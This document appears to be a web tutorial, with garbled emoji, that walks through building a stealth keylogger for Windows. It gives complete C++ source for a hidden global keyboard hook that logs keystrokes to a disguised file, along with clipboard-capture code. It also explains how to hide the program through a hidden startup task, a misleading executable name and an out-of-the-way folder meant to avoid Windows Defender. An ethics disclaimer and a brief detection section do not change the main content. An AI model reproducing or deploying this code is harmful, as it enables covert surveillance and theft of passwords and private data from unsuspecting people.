β οΈ Disclaimer
This guide is for educational and research purposes only. Using a keylogger on someone elseβs system without their explicit permission is illegal and unethical. This tutorial is meant for ethical hacking, cybersecurity research, and penetration testing.
π What is a Keylogger?
A keylogger is a program that records keystrokes on a system. It is often used for:
β Ethical hacking (testing security measures).
β Parental monitoring (with consent).
β Cybersecurity training (understanding attacker techniques).
β Malicious activities (hacking, identity theft) β Illegal!
Modern keyloggers must bypass Windows security features such as:
- Windows Defender β Built-in antivirus protection.
- UAC (User Account Control) β Prevents unauthorized modifications.
- Process Monitoring β Detects unauthorized background processes.
This guide covers bypassing these protections while ensuring stealth.
π οΈ Step 1: Setting Up Your Development Environment
1οΈβ£ Install Visual Studio 2022
Weβll use C++ with Windows API, requiring a powerful IDE.
- Download & install Visual Studio 2022.
- Choose C++ Desktop Development during installation.
2οΈβ£ Install Windows SDK
- Enable Windows 10 SDK to access system functions during installation.
3οΈβ£ Create a New C++ Project
- Open Visual Studio.
- Click File β New β Project.
- Select Console Application.
- Click Create.
β¨οΈ Step 2: Writing the Keylogger Code
Create a new file keylogger.cpp and copy the following modern keylogger code:
#include <windows.h>
#include <fstream>
#include <string>
HHOOK g_hook; // Global hook
std::ofstream g_logFile;
// Function to log keystrokes
void LogKeystroke(int key) {
char keyChar = MapVirtualKeyA(key, MAPVK_VK_TO_CHAR);
if (keyChar >= 32 && keyChar <= 126) {
g_logFile << keyChar; // Log printable characters
} else {
switch (key) {
case VK_RETURN: g_logFile << "[ENTER]"; break;
case VK_BACK: g_logFile << "[BACKSPACE]"; break;
case VK_SPACE: g_logFile << " "; break;
case VK_TAB: g_logFile << "[TAB]"; break;
case VK_ESCAPE: g_logFile << "[ESC]"; break;
default: g_logFile << "[SPECIAL_KEY]"; break;
}
}
g_logFile.flush();
}
// Hook procedure
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
LogKeystroke(pKeyInfo->vkCode);
}
}
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
// Main function
int main() {
ShowWindow(GetConsoleWindow(), SW_HIDE); // Hide console
g_logFile.open("C:\\Windows\\Temp\\system_logs.txt", std::ios::app);
if (!g_logFile.is_open()) {
return 1;
}
g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (!g_hook) {
return 1;
}
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(g_hook);
g_logFile.close();
return 0;
}
π οΈ Step 3: Compiling & Running the Keylogger
1οΈβ£ Build the Executable
- In Visual Studio, select Release Mode.
- Click Build β Build Solution (Ctrl + Shift + B).
2οΈβ£ Run the Keylogger
- Navigate to the compiled .exe file.
- Run it β the console will disappear, and logging begins.
- The key logs are saved in:
C:\Windows\Temp\system_logs.txt
- (Why? The Temp folder is less monitored than System32.)
π΅οΈ Step 4: Hiding the Keylogger for Stealth
To avoid detection:
- Run in the background.
- Disguise file name.
- Avoid common logging locations.
1οΈβ£ Converting to a Background Process
- Open Task Scheduler (
taskschd.msc). - Create a new task:
- Trigger: System startup.
- Action: Start a program (keylogger.exe).
- Hidden: Yes.
2οΈβ£ Disabling Windows Defender Detection
- Rename the executable to something common:
winservices.exe
- Store it in an uncommon location:
C:\Users\Public\Libraries
π Step 5: Advanced Keylogging (Beyond Basics)
πΉ Adding Clipboard Logging
#include <windows.h>
std::string GetClipboardText() {
if (!OpenClipboard(nullptr)) return "";
HANDLE hData = GetClipboardData(CF_TEXT);
if (!hData) return "";
char* pszText = static_cast<char*>(GlobalLock(hData));
if (!pszText) return "";
std::string text(pszText);
GlobalUnlock(hData);
CloseClipboard();
return text;
}
(Logs copy-pasted data.)
π‘οΈ Defending Against Keyloggers
π How to Detect & Remove Keyloggers
- Task Manager (
Ctrl + Shift + Esc) β Check unknown processes. - Monitor Startup Programs (
msconfig) β Remove suspicious entries. - Use Windows Defender β Full scan for keylogger files.
- Enable On-Screen Keyboard β Prevent physical keystroke logging.
β οΈ Ethical & Legal Considerations
β Allowed Use Cases:
- Ethical hacking (with permission).
- Penetration testing in a lab environment.
- Personal security research.
β Illegal Use Cases:
- Spying on others.
- Stealing credentials.
- Unauthorized access.
Always get explicit permission before testing keyloggers on any system.
π Summary & Next Steps
βοΈ We built a stealth keylogger that:
β Records keystrokes globally.
β Logs keystrokes to a hidden file.
β Avoids detection by running in the background.
π Whatβs Next?
- Learn keylogger detection techniques.
- Explore malware analysis and reverse engineering.
- Build anti-keylogger security tools.